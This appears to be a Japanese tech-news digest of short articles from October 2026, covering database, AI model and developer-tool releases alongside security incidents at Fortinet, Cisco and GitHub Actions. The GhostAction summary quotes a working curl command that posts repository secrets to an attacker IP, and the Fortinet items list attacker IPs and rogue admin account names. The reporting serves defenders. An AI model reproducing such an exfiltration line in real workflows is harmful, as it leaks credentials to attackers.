概要 AWSは2026年9月30日、Amazon Aurora PostgreSQLにDuckDBを組み込んだことを発表した。これにより、Aurora上の運用データとApache IcebergやParquet形式でAmazon S3に保存されたデータレイクを、ETL処理やデータ移動なしに単一のSQLクエリで横断的に扱えるようになった。従来、運用データベースと分析基盤(データレイク/レイクハウス)は別々のシステムとして運用され、両者をつなぐにはリバースETLパイプラインを構築・維持する必要があった。この統合はその運用負担を取り除き、リアルタイム分析のコストと複雑さを削減することを狙う。 技術的な仕組み 背景には、AWSが2026年9月にDuckDBの開発元であるDuckLabsを買収したことがある。AWSはこれによりDuckDBのベクトル化(列指向)クエリエンジンを、Aurora PostgreSQL 17/18のコアに拡張機能および外部データラッパーとして直接組み込んだ。DuckDBはもともと「SQLiteのようにアプリケーションに組み込める小型で高速なOLAP処理エンジン」であり、並列実行可能な列指向エンジンを備える。データレイク側はApache IcebergおよびParquet形式(CSV、JSONにも対応)に対応し、AWS Glue Data CatalogやIceberg REST Catalogを経由してS3およびS3 Tables上のデータにアクセスする。スキーマの自動推論、述語プッシュダウン、列プルーニングといった最適化により、S3への不要なリクエストを抑えつつ、本番データベースのライブデータとS3上の履歴データを同一クエリ内で同時に処理できる。 狙いと今後の展望 この仕組みにより、データのコピーや変換、同期の遅延といったETL特有の手間が解消される。特にAIエージェント開発においては、同一セッション内で履歴データの検査とトランザクションの書き込みを即座に行えるようになる点が評価されている。アナリストのBrad Shimmin氏は、この統合が「リバースETLパイプラインの運用負担を除去する」ものであり、AIエージェントにとって「履歴データ検査と即座のトランザクション書き込みを同一セッションで実現する」と指摘する。一方で、メモリ消費量の実測、IcebergテーブルへのACID準拠の書き込み機能の拡張、外部Iceberg REST Catalogの採用動向など、実運用に向けて注視すべき点も残されている。DuckLabsは買収後もDuckDB本体のオープンソース開発(MITライセンス)を継続する方針であり、オペレーショナルDBと分析基盤の境界を取り払う動きは今後も広がっていく可能性がある。

概要 OpenAIは10月7日、ChatGPTに新モデル「GPT-6」を展開すると発表した。有料プランのPlus、Pro、Business、Enterprise向けには「GPT-6 Sol」を提供し、無料プランとGoプラン向けの「GPT-6 Luna」は翌10月8日から段階的に展開を始めた。モデルの刷新と同時に、回答内にグラフィック、ボタン、フォーム、チャート、インタラクティブな操作要素を動的に生成する新機能「Intelligent UI」も導入され、これまでテキストのみだったChatGPTの応答形式が、視覚的かつ操作可能な体験へと転換した。なお、GPT-6が利用できるのはChatGPTの通常のChatタブに限られ、Workタブや開発者向けのCodexモデルは今回の対象外となっている。 Intelligent UIの仕組みと具体例 Intelligent UIは、質問の内容に応じて最適な回答形式を自動選択する仕組みだ。OpenAIによれば、比較が必要な質問には項目を並べた表形式で、概念の説明にはインタラクティブな図解で、単純な質問にはテキストのみで応答するなど、内容に応じて提示方法を切り替える。具体的な活用例として、材料の量を調整できるレシピウィジェット、チェックリスト、地図の埋め込み、複数選択式のフォローアップ質問などが挙げられている。また、計算機や割り勘計算ツール、簡単なゲームといった、その場の目的に合わせたツールをChatGPTが即座に生成できる点も特徴とされる。 技術的には、OpenAIは「Intelligent UIはストリーミング可能なネイティブコンポーネントのライブラリと、モデルが生成する過程でインターフェースを処理するコンパイラを使用している」と説明している。これにより、モデルの出力に合わせてUIがリアルタイムに構築される。さらにGPT-6自体にも、推論が完了する前から回答を開始し、処理が進むにつれて情報を段階的に追加していく「プログレッシブな応答」機能が搭載されており、結果を待たずに回答の提示を始められるようになった。 今後への影響 この一連の更新は、チャットボットの応答を「テキストを読む」体験から「操作して理解する」体験へと広げる狙いがあるとみられる。視覚的な提示やインタラクティブな要素を組み合わせることで、複雑な内容や比較検討が必要な情報をより直感的に伝えられるようになる可能性がある。一方で、GPT-6の提供対象は現時点でChatGPTの通常会話機能に限定されており、業務利用を想定したWorkタブや開発者向けのCodexには反映されていない。今後、これらの機能がどの範囲まで拡張されるか、またIntelligent UIが他のプラットフォームや用途にも展開されるかが注目される。

概要 Fortinet製メールセキュリティ製品「FortiMail」の管理インターフェースに、未認証の攻撃者が任意のファイルを書き込める深刻な脆弱性(CVE-2026-104286、CVSS 9.8)が発見され、パッチ公開前から実際の攻撃で悪用されていることが確認された。Fortinetの製品セキュリティチームに所属するGwendal Guégniaud氏が発見・報告したもので、Fortinetは社内アドバイザリFG-IR-26-175として10月1日に公表した。米CISAは同日、既知の悪用脆弱性(KEV)カタログに本脆弱性を追加し、米連邦文民機関に対して10月4日までにフォレンジック調査と緩和策の実施を義務付けている。 脆弱性の技術的詳細 脆弱性は、制限ディレクトリへのパス名の不適切な制限(CWE-22、いわゆるパストラバーサル)と、NULLバイト・文字の不適切な無害化(CWE-158)という2つの弱点が組み合わさったもので、管理インターフェースに対して巧妙に作成されたHTTP/HTTPSリクエストを送信するだけで、未認証のまま任意ファイルをシステムに書き込めてしまう。Fortinet自身も「制限ディレクトリへのパス名の不適切な制限の脆弱性により、未認証の攻撃者が基盤システム上に任意のファイルを書き込める可能性がある」と説明しており、書き込んだファイルを起点にリモートコード実行につながる恐れも指摘されている。 影響を受けるのはFortiMail 7.2.07.2.9、7.4.07.4.8、7.6.07.6.6、8.0.08.0.1の各系列。報道時点でFortiMail 7.4系・7.6系・8.0系向けの修正版(7.4.9、7.6.7、8.0.2)は「近日公開」とされ未提供で、7.2系はサポートが終了しているため7.4以降への移行が必要となる。パッチが整うまでの暫定策として、Fortinetは不要であればIdentity Based Encryption(IBE)機能をconfig system encryption ibe/set status disableで無効化すること、および管理インターフェースへのアクセスを信頼できるプライベートネットワークのみに制限することを推奨している。 侵害の実態と対応状況 Fortinetが公開した侵害の兆候(IoC)によれば、攻撃では/bin/smitの改変や/data/lib/liblog.soの追加など7つのファイルが書き換え・追加されており、SHA-256ハッシュ値も併せて示されている。関連する攻撃元IPアドレスとして79.141.169.187と45.129.0.192が報告されている。悪用がいつから始まったか、攻撃者の正体など詳細は明らかにされていないが、パッチが存在しない状態での実被害が確認されている点が事態を深刻化させている。 CISAのKEV登録により、米連邦文民機関には10月4日までにフォレンジック調査と緩和策適用が義務付けられたが、これは連邦機関以外の組織にとっても対応の緊急性を示す指標となる。FortiMailは組織の電子メールゲートウェイとして広く利用されており、管理インターフェースが外部からアクセス可能な構成の場合はリスクが特に高い。修正パッチが提供されるまでは、管理インターフェースのネットワーク分離とIoCに基づく侵害有無の確認を直ちに行うことが強く求められる。

概要 GitHubは10月6日、1つの大きな変更を複数の小さなプルリクエスト(PR)に分割し、連鎖させて管理する「スタック型プルリクエスト」機能を、github.comの全プランで正式提供開始した。スタックとは「下位のPRがmainブランチを対象とし、その上の各PRが1つ下のブランチを対象とする、順序付きのブランチの連なり」と定義されており、大きな変更を個別にレビュー可能な単位に分割しつつ、最終的には1つのまとまった変更としてマージできる点が特徴だ。GitHub Enterprise Serverへの対応も今後のリリースで予定されている。 技術的な改善点 今回のGA版では、スタック運用上の実務的な課題に対応する改善が複数加えられた。まず、ベースブランチが更新されてリベースが発生した際も、変更のないコード部分の承認状態が維持されるようになった。これは、古い承認を自動的に無効化するポリシーを設定しているリポジトリでも機能する。リベースされたコミットは暗号署名を保持したまま、元の作成者情報も維持される。マージキューとの統合も強化され、スタック全体が単一のマージグループとして扱われるようになり、マージコミット方式を使う場合はPRごとに1つのマージコミットが生成される。さらに、ベースブランチが削除された場合にスタックが自動的に再ターゲットされる機能や、バイパス権限を持つユーザーがスタック内の最下位の未マージPRをマージできる機能も追加された。ナビゲーション面では、PRヘッダーにスタックの文脈が常時表示されるようになり、Shift+J・Shift+Kのキーボードショートカットでスタック内のPR間を移動できるほか、PRがスタックに参加・離脱したタイミングを記録するタイムラインイベントも加わった。なお、スタックの自動マージ機能は今後数週間にわたって段階的に展開される予定だ。 gh CLIとAIエージェントへの対応 スタック操作を支援するgh stack CLI拡張機能はバージョン0.2.0(10月2日リリース)で、Gitワークツリーのサポートが追加され、初期化やチェックアウトの処理が改善された。利用にはgh v2.0以上、Git 2.36以上が必要となる。注目すべき点として、gh skill install github/gh-stackコマンドでAIコーディングエージェント向けのスキルをインストールできるようになり、エージェントが大規模な変更を自動的にスタック型PRへ分割できるようになった。またpull_requestのWebhookにもstackedアクションが新設され、外部ツールからのスタック監視が容易になっている。 導入効果と評価 GitHubが公表した数値によると、スタック機能を利用しているリポジトリは、利用していない同規模のリポジトリと比較してマージされるコード量が9%増加し、マージまでの時間も5%短縮されたという。また、GitHub上位1%のアクティブなリポジトリの3分の2以上がすでにこの機能を利用しているとされる。Astralの創業者Charlie Marsh氏は「GitHubのスタック型PRを一度マージしただけで、これは素晴らしいと確信した」とコメントしており、大規模な変更を小さな単位に分割してレビューしやすくするワークフローが、実際の開発体験の改善につながっていることがうかがえる。gh CLIやAIエージェントとの連携強化により、今後は人間だけでなくAIコーディングエージェントが生成する変更についても、スタック型のレビューフローが標準的な選択肢になっていく可能性がある。

概要 Erlang仮想マシン（BEAM）とJavaScriptランタイム上で動作する静的型付け関数型言語Gleamが、10月5日にv1.19.0をリリースした。今回の最大の変更点は、これまでコンパイル時に人間が読めるErlangのソースコードを生成し、それをErlangコンパイラのフロントエンドに渡して処理するという方式を廃止したことだ。開発者のLouis Pilfoldによれば、新しい実装ではGiacomo Cavalieriによる書き直しにより、Erlangコンパイラの中間表現である「Erlang abstract forms」をバイナリエンコード（Erlang external term format）の形で直接出力するようになった。これにより「生成したコードを直接ロードでき、Erlangコンパイラの前半部分をスキップできる」という。 なぜErlangソースコード経由だったのか Gleamがこれまでテキスト形式のErlangソースコードを経由していた背景には、BEAMバイトコードそのものが安定した仕様ではないという事情がある。Pilfoldは「BEAMバイトコードは固定され不変のものではなく、仮想マシンの新しいリリースごとに進化しうる」と説明しており、バイトコードを直接生成するのはコストに対して利益が小さく、Erlang abstract formsへ出力するアプローチが「コストと利益のスイートスポット」だったと述べている。一方でこの従来方式には弱点があった。ソースコードを経由する過程で行番号などのメタデータが失われやすく、BEAMのクラッシュレポートやスタックトレースに表示される行番号が不正確になることがあった。新方式ではこの問題が解消され、スタックトレースの行番号は常に正確になったという。 パフォーマンスへの影響 100個のモジュールにそれぞれ100個の関数を含むベンチマークプロジェクトでの検証では、v1.17.0と比較してビルド時間が大幅に短縮されたことが示されている。記事中のグラフによれば、ビルド時間はv1.17.0の約430ミリ秒からv1.19.0の約340ミリ秒まで短縮されており、コンパイル経路の簡素化が実際の速度向上に直結していることがわかる。また、JavaScriptへのコンパイル結果にも改善が見られ、パターンマッチの最適化によって、従来は17行に及ぶネストしたif文として出力されていたコードが、最適化後はif/else文全体でも7行程度（条件式自体は1行）に圧縮される例も紹介されている。 その他の変更点と今後の展望 v1.19.0では上記のアーキテクチャ変更に加え、エラーメッセージの充実、TypeScript型定義でのオーバーロード対応、短いリストに対する内部表現の最適化なども行われている。コンパイル経路の簡素化によってコンパイラ自体の保守性が高まったことで、今後はさらなる最適化の余地が広がるとみられる。BEAM上で動く言語としての安定性と、JavaScriptランタイムへの対応を両立させてきたGleamにとって、今回のアーキテクチャ刷新はビルド体験とデバッグ体験の両面を改善する基盤的な変更といえる。

概要 Anthropicは10月7日、小型・高速・低価格を特徴とする新モデル「Claude Haiku 5.5」を発表した。同社の階層型ラインアップ（Haiku・Sonnet・Opus、そして最上位のFable/Mythos）のうち最も安価な位置を占めるモデルで、9月に実施されたOpus 5.5・Sonnet 5.5の更新に続く刷新となる。最大の特徴はコスト構造の見直しで、Haiku 4.5からの実行コストを約75%削減したとAnthropicは説明している。同時にSonnet 5.5のキャッシュ読み込み価格も1百万トークンあたり0.20ドルから0.10ドルへ半減させ、多くのエージェント作業で約20%のコスト減につながるとしている。 価格設定 Haiku 5.5のAPI価格は、10万トークン以下のリクエストで入力1百万トークンあたり0.10ドル、出力1百万トークンあたり0.50ドルとなり、前世代比で最大90%の値下げとなる。10万トークンを超える場合は入力0.50ドル・出力2.50ドルの高価格帯が適用されるが、Haiku 4.5宛のリクエストの約90%は低価格帯に収まるとされ、実質的にはほとんどの利用でコスト減の効果を受けられる設計になっている。この価格はOpenAIのGPT-6 Lunaと完全に一致しており、両社の小型モデル競争が価格面で収束しつつあることを示している。あわせてClaude Max・Teamサブスクライバー向けに月額100〜500ドル相当のAPIクレジット提供も始まった。 性能とベンチマーク Anthropicが公表したベンチマークでは、Haiku 5.5はコンピュータ操作タスクのOSWorld 2.1で72.4%（GPT-6 Lunaは48.9%）、Terminal-Bench 4.0で39.2%（Luna比16.4%）を記録し、同一価格帯の競合を上回る結果となった。ただしTerminal-Bench 4.0の39.2%という数値は「最大努力レベル」設定での結果であり、既定の中程度の努力レベルでは約20%にとどまる点には注意が必要だ。前世代Haiku 4.5との比較では、文書処理・判断タスクの指標であるGDPval-AA v2.1で1,620点（前世代735点）、Terminal-Bench 4.0では前世代の0.0%から39.2%へと大きく伸びており、世代間の性能向上はより顕著に表れている。また業務での実測値として、Asanaは前モデルに比べてタスク完了までの待ち時間が30%以上短縮したと報告している。 用途と位置付け Haiku 5.5は要約、情報分類、データベース照会、データ圧縮といった反復的かつコストに敏感な処理に最適化されており、カスタマーサポートやブラウザ操作などスピードが重視される業務への適用を想定している。今回のモデルでは調整可能な処理レベル（努力レベル）設定が初めて導入され、用途に応じて精度と速度・コストのバランスを選べるようになった。財務AI企業Rogoの担当者は、精度の面で信頼できるうえに高速・低コストで何度も実行できると評価しており、企業が大規模なエージェント運用の補助役としてHaikuクラスのモデルを位置付ける動きが強まっていることがうかがえる。AnthropicとOpenAIの小型モデルが同一価格帯で競合する中、今後はベンチマークでの優位性だけでなく、実運用でのレイテンシや信頼性が導入判断の決め手になりそうだ。

概要 Ciscoは10月8日、NX-OSを稼働するNexus 3000および9000シリーズスイッチ(スタンドアロンNX-OSモード)に影響する重大な脆弱性5件に関するセキュリティ勧告を公開した。いずれも未認証の攻撃者による悪用が可能で、最悪の場合root権限での任意コード実行、あるいはデバイスの強制リロードによるサービス停止を招く恐れがある。データセンターや企業ネットワークの中核を担う機器が対象となるため、影響範囲は広い。なお、ACIモードで動作するNexus 9000やNexus 7000シリーズは今回の脆弱性の対象外とされている。 脆弱性の技術的詳細 5件の脆弱性は、NX-APIおよびNext Generation OAM(NGOAM)、MPLS OAMという3つの機能における入力検証の不備に起因する。具体的には、CVE-2026-76471はNX-APIへの入力検証不足によるもので、デフォルトでは無効化されているNX-APIが有効な環境で、巧妙に作成されたHTTPリクエストを送信することで悪用される。CVE-2026-76485、CVE-2026-76486、CVE-2026-76501はNGOAMにおけるIPトラフィックの検証不備で、不正なIPパケットの送信によって引き起こされる。このうちCVE-2026-76486はSRv6またはNVオーバーレイが有効な構成でのみ、CVE-2026-76501はSRv6が有効な構成でのみ影響を受ける(CVE-2026-76485はNGOAM有効時に一般的に影響を受ける)。残るCVE-2026-76465はMPLS OAMのecho-requestパケットの検証不備で、MPLS OAM機能が明示的に有効化されている場合に限り悪用可能となる。いずれも対象機能が無効であれば攻撃は成立せず、デフォルト設定のまま運用している環境ではリスクが低減される点が共通している。 悪用状況と対応策 Cisco は勧告公開時点で、これら5件の脆弱性について「公開された発表や悪意ある悪用の事実は確認していない」としている。発見はCisco社内のセキュリティテストによるもので、現時点で外部からの実際の攻撃報告はない。対応としては、Cisco Software Checkerツールを用いて自社のNX-OSバージョンに該当する修正パッチを特定し、速やかに適用することが推奨されている。パッチ適用までの暫定対応としては、NX-API、NGOAM、MPLS OAMといった利用していない機能を無効化すること、またアップグレード待ちのスイッチに対してはCiscoのLive Protectシールドを適用することが有効な緩和策として挙げられている。 今後の影響 ネットワークの中核を担うスイッチでroot権限を奪取されれば、データセンター全体やその上で動くサービスへの影響が及ぶ可能性があり、攻撃者にとって高い価値を持つ標的となりうる。現時点で野放しの悪用は確認されていないものの、脆弱性の詳細が公開されたことで今後PoCや攻撃コードが出現するリスクは否定できない。該当機器を運用する企業は、まず影響を受ける機能が有効化されているかを確認し、不要であれば無効化、必要であれば早急なパッチ適用を進めることが求められる。

概要 FBIとシークレットサービスは10月7日、Fortinet製FortiGateファイアウォール/SSL VPNを標的とする大規模な認証情報窃取キャンペーン「FortiBleed」が依然として活発に継続していると共同で警告を発した。両機関は「攻撃者は以前に入手した侵害済み認証情報を使い、インターネットに公開されたFortinetファイアウォールのスキャンを続けている」と明言しており、パッチ適用だけでは不十分であることを強調している。これまでに194カ国で8万6644台ものFortinet機器の認証情報が侵害されたと見られ、管理者が自らのデバイスからロックアウトされる被害や、窃取された初期アクセス権がランサムウェアグループに売買される実態が確認されている。 FortiBleedの正体と攻撃手法 FortiBleedは2026年6月、FortiGateファイアウォールとSSL VPNゲートウェイのユーザー名・平文パスワードが大量に流出していることが発覚したロシア語圏の攻撃者によるキャンペーンとされる。発覚当初は194カ国・7万3932件のファイアウォールURLに関する認証情報の露出が確認され、その後の調査で侵害デバイス数は8万6644台まで拡大した。攻撃者はまず、インフォスティーラーのログや過去の漏洩データから得た認証情報を使ったクレデンシャルスタッフィングやパスワードスプレーでFortiGateの公開エンドポイントに侵入を試みる。さらに注目すべきは、Fortinetが採用していたレガシーなSHA-256方式のパスワードハッシュ保存の弱点を突き、HashcatやHashtopolisによる分散GPUクラスターでオフラインのパスワードハッシュを大量にクラッキングしていた点だ。自作ツール「FortigateSniffer」(Go言語製)を用いて24種類ものプロトコルから認証情報を傍受する手口も確認されており、偵察からクレデンシャル窃取、ハッシュクラッキング、横展開・データ窃取に至る5段階の攻撃チェーンが構築されていたという。研究者が発見した攻撃者側のバックエンドサーバーからは、ターゲットを売上規模やネットワーク構成で選別・優先順位付けする仕組みや、侵害済みアクセス権をパッケージ化して販売する運用体制まで明らかになっている。 管理者ロックアウトとランサムウェアへの波及 FBIとシークレットサービスが特に警鐘を鳴らすのは、攻撃者が侵害した認証情報を使って新たな管理者アカウントを作成したり、既存の管理者アカウントを削除・パスワード変更したりすることで、正規の管理者自身をデバイスから締め出すケースだ。永続化のために「adminin」「fortiAdmin」「forticloud-sync」「fgtsecure」「pakedge」といった紛らわしい名前の不正アカウントが作成される事例も報告されている。盗まれた初期アクセス権は、少なくとも20以上のアフィリエイトが関与する初期アクセスブローカーのモデルを通じて転売されており、INC/Lynxランサムウェアグループへの関連が7月時点でSOCRadarにより指摘されていた。今回の警告では、このアクセス経由で少なくとも12件以上の組織がランサムウェアによる侵害・暗号化被害に遭ったこと、さらにPayloadランサムウェアのアフィリエイトにもアクセス権が供与されていたことが確認されている。 推奨される対策と今後の見通し FBIは、単にFortinet製品へのパッチ適用だけでは不十分であり、より踏み込んだ対応が必要だと強調している。具体的には、外部からの管理アクセスの制限、すべてのアクティブなVPN・管理セッションの強制終了、フィッシング耐性のある多要素認証(MFA)の導入、不審な変更がないかのログ精査、そしてレガシーなSHA-256方式に代わるPBKDF2方式でのパスワード保存の徹底が推奨されている。さらに、既存のFortinetアカウントがすべて正規のものか確認し、疑わしいアカウントの削除や認証情報の全面リセットを行うことも呼びかけられている。CISAは6月の時点で初期警告を出していたが、今回10月の共同警告は、発覚から数カ月を経てもなお攻撃が収束していないことを示すものであり、インターネットに公開されたVPN機器を運用する組織にとって、継続的な監視と多層的な防御の必要性を改めて浮き彫りにしている。

概要 GitGuardianの調査により、GitHub Actionsのサプライチェーンを狙う攻撃キャンペーン「GhostAction」が2026年8月31日から9月30日にかけて再活性化し、373のGitHubユーザー・組織に属する772個の公開リポジトリを標的にしていたことが判明した。攻撃は8月31日(143リポジトリ)、9月2〜5日(ピークの9月5日は294件を含め約400リポジトリ)、9月15日(103リポジトリ)の3つの波に分かれて展開され、盗んだ認証情報を使って「github_actions_security.yml」という名前の偽装ワークフローをリポジトリに注入した。コミットメッセージは「Add Github Actions Security workflow」に統一されており、これが検知の手がかりとなった。最終的に合計2,577件のシークレットが標的となり、OSSのサプライチェーン全体への影響が懸念されている。 攻撃の手口 注入されたワークフローは、対象リポジトリに既存する正規のワークフローから ${{ secrets.NAME }} 形式のシークレット参照を抽出し、その値を curl のPOSTリクエストで外部サーバーへ送信する仕組みになっていた。例えば curl -s -X POST -d 'VPS_HOST=${{ secrets.VPS_HOST }}&VPS_SSH_KEY=${{ secrets.VPS_SSH_KEY }}' http://193.32.204.199 のようなペイロードが確認されている。標的となったシークレットの内訳は、SSH秘密鍵・デプロイ認証情報が446件と最多で、Azure認証情報218件、コンテナレジストリ認証情報142件、データベース認証情報112件、AWSアクセスキー106件、FTP認証情報92件、Google Cloud/Firebase認証情報80件、GitHubトークン66件と多岐にわたった。GitHub Actionsの実行記録は3,669件収集されたが、実際に実行されたのは499件、正常完了まで至ったのは336件で、最終的に13リポジトリから26個のシークレットが流出したとみられる。 2025年キャンペーンとの関連とクリプトマイナー混入 今回の調査では、2025年9月に一度報告されていた旧GhostActionキャンペーンが「決して停止していなかった」ことも明らかになった。攻撃者は過去に注入した92件のワークフローを修正し、流出先のエンドポイントを段階的に更新し続けていた(2025年9月: bold-dhawan.45-139-104-115.plesk.page および carte-avantage.com、2025年10月〜12月および2026年3月: 170.39.218.2、2026年8月〜9月: 193.32.204.199)。さらに調査の過程で、まったく別の脅威も発見された。8月30日、GhostActionと同じ侵害済みアカウントを使って、約6,000スターを持つ人気リポジトリ「kuafuai/DevOpsGPT」にXMRigのクリプトマイナーが埋め込まれていたのである。被害組織の13リポジトリは少なくとも4つの異なるマイニングキャンペーンの標的になっていたことも判明し、単一の侵害された認証情報が複数の攻撃者によって再利用され得るという、サプライチェーン攻撃特有のリスクが改めて浮き彫りになった。 対応状況と今後の教訓 10月5日時点で、感染が確認されたリポジトリのうち効果的に修復が完了していたのはわずか16%にとどまっており、対応の遅れが懸念される。GitGuardianは、被害者に対して流出したシークレットのローテーションだけでは不十分であり、「注入そのものを可能にした侵害済みのGitHub認証情報を発見・失効させる必要がある」と強調している。そうしなければ、同じ侵害された認証情報が別の攻撃者によって再利用され、新たな攻撃の足がかりとして使われ続ける可能性があるためだ。GitHub Actionsのワークフローに対する変更監視やシークレットスキャンの強化、そして認証情報漏洩の根本原因への対処が、OSSメンテナーに求められている。

概要 SpaceXは10月8日、全米規模の800MHz帯低周波スペクトル(ペアで最大14MHz)を資産運用会社Grain Managementから買収する契約を発表した。取引はFCC(米連邦通信委員会)の承認を条件としており、買収金額は公表されていない。Grain Managementはこのスペクトルを2025年初頭にT-Mobileから取得し、2026年8月に29億ドルで買収を完了させていた経緯があり、今回はそのスペクトルがわずか数ヶ月でSpaceXの手に渡ることになる。発表を受け、アフターマーケット取引でAT&Tが6.75%、T-Mobile USが5.4%、Verizonが5%下落するなど、米大手通信3社の株価が軒並み急落した。一方でSpaceX自身の株価も4.19%下げており、巨額の周波数帯買収という異例の一手に市場全体が反応した格好だ。 Starlink Mobileの狙いと技術的意義 この買収は、FCCがSpaceXの衛星約15,000基からなる第2世代(Gen2)衛星直接接続(D2D)コンステレーションを承認した直後というタイミングで発表された。SpaceXは、低周波数帯のスペクトルは壁などの障害物に対する透過性が高く、屋内環境でも衛星からのサービスを提供できるようになると説明している。既存のStarlink Mobileは2GHz帯の中周波スペクトルを高速・大容量通信のために用いていたが、新たに獲得する800MHz帯は壁や樹木などの障害物を貫通しやすく、屋内や携帯通信のデッドゾーンでもサービスを提供できるようになる。両帯域を組み合わせることで、屋内・屋外を問わない多層的なカバレッジの実現を目指す。低周波帯はほとんどの既存モバイル端末が標準で対応しているため、新端末への買い替えなしに利用できる点も大きい。実現すれば、SpaceXは衛星スペクトルと地上スペクトルの両方を自ら保有・運用する初の事業者となる見通しだ。 市場が警戒する「第4の携帯事業者」 株価急落の背景には、SpaceXが単なる衛星通信の補完的サービスではなく、既存の携帯大手3社と直接競合する「ハイブリッド型(衛星+地上)ネットワーク」事業者になりうるという警戒感がある。ネット上のコメント欄などでは、SpaceXの参入によって米国の無線通信市場に「第4の大手プレイヤー」が誕生する可能性を指摘する声や、2026年初頭にAIサービス関連の発表が相次いでセクター全体の株価を揺さぶった局面を想起させるとの声も見られる。地上基地局網を持たないSpaceXが地上スペクトルまで獲得することは、既存キャリアにとって設備投資の優位性や周波数資源の希少性という従来の競争優位を相対化しかねないインパクトを持つ。 今後の見通し 今回の契約はあくまでFCCの承認が前提であり、審査の行方や完了時期は不明瞭だ。ただし、FCCが直近でGen2衛星コンステレーションを承認したことと合わせて考えると、規制当局がSpaceXの衛星・地上ハイブリッド通信戦略を後押しする方向に動いている可能性がある。承認が得られれば、Starlink Mobileは衛星通信事業者から本格的な携帯通信事業者へと立場を変えることになり、AT&T・Verizon・T-Mobileは価格・カバレッジ両面での対応を迫られることになりそうだ。